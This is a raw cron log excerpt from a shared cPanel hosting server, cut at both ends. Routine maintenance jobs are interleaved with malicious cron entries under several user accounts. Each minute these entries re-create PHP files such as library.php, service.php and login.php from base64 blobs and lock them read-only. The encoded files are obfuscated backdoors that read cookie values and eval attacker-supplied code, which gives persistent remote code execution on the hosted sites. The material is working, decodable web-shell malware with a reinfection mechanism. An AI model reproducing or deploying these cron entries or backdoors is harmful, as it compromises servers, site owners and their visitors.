XI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:39:01 medusa CROND[16681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:39:01 medusa CROND[16682]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:39:01 medusa CROND[16683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:39:01 medusa CROND[16688]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 11:39:01 medusa CROND[16689]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:39:01 medusa CROND[16690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:39:01 medusa CROND[16691]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:39:01 medusa CROND[16692]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:39:01 medusa CROND[16700]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:39:01 medusa CROND[16702]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:40:01 medusa CROND[7366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:40:01 medusa CROND[7375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:40:01 medusa CROND[7383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:40:01 medusa CROND[7407]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:40:02 medusa CROND[7516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 11:40:02 medusa CROND[7517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7515]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:40:02 medusa CROND[7518]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:40:02 medusa CROND[7520]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7522]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7529]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7530]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:40:02 medusa CROND[7536]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:40:02 medusa CROND[7544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:40:02 medusa CROND[7545]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:40:02 medusa CROND[7550]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:40:02 medusa CROND[7547]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:40:02 medusa CROND[7552]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:40:02 medusa CROND[7553]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:40:02 medusa CROND[7554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 11:40:02 medusa CROND[7555]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:40:02 medusa CROND[7557]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7556]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 11:40:02 medusa CROND[7560]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:40:02 medusa CROND[7563]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:40:02 medusa CROND[7528]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:40:02 medusa CROND[7564]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 11:41:01 medusa CROND[30154]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:41:01 medusa CROND[30262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:41:01 medusa CROND[30263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:41:01 medusa CROND[30264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:41:01 medusa CROND[30265]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:41:01 medusa CROND[30266]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlc